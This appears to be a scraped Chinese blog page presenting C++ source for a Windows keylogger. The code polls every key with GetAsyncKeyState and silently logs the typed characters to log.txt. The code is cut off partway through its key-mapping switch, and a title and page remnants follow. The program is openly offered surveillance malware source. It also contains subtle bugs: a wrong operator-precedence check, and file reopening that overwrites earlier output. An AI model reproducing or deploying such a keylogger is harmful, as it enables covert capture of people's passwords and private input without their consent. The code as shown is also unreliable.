#include<iostream>
#include<stdio.h>
#include<stdlib.h>
#include <windows.h>
#include <winuser.h>
#include <string>
#include <fstream>
using namespace std;
const int KeyBoardValue = 0x80000000;
string GetKeyName(int);
bool JudgeShift();
int main()
{
string FileName = "log.txt";
string KeyName = "";
fstream FileStream;
//FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);
FileStream.open(FileName.c_str());
while (1)
{
//Sleep(5);
//FileStream.open(FileName.c_str());
for (int i = 8; i <= 255; i++)
{
if (GetAsyncKeyState(i) & 1 == 1) //判断虚拟按键是否按下,无论是一直按着还是按一下就弹起,只判断是否按过
{
KeyName = GetKeyName(i);
FileStream.write(KeyName.c_str(), KeyName.size());
FileStream.close(); //写完一次就保存一次
FileStream.open(FileName.c_str());
//FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);
}
}
}
return 0;
}
string GetKeyName(int NumKey)
{
bool IS_SHIFT = JudgeShift();
string revalue = "";
//判断键盘中间的特殊符号
if (NumKey >= 186 && NumKey <= 222)
switch (NumKey)
{
case 186:
if (IS_SHIFT)
revalue = ":";
else
revalue = ";";
break;
case 187:
if (IS_SHIFT)
revalue = "+";
else
revalue = "=";
break;
case 188:
if (IS_SHIFT)
revalue = "<";
else
revalue = ",";
break;
case 189:
if (IS_SHIFT)
revalue = "_";
else
revalue = "-";
break;
case 190:
if (IS_SHIFT)
revalue = ">";
else
windows模拟键盘事件,无光标聚焦,按下键盘就能保存按下的键盘字符
最新推荐文章于 2023-04-09 14:15:08 发布
![](https://img-home.csdnimg.cn/images/20240711042549.png)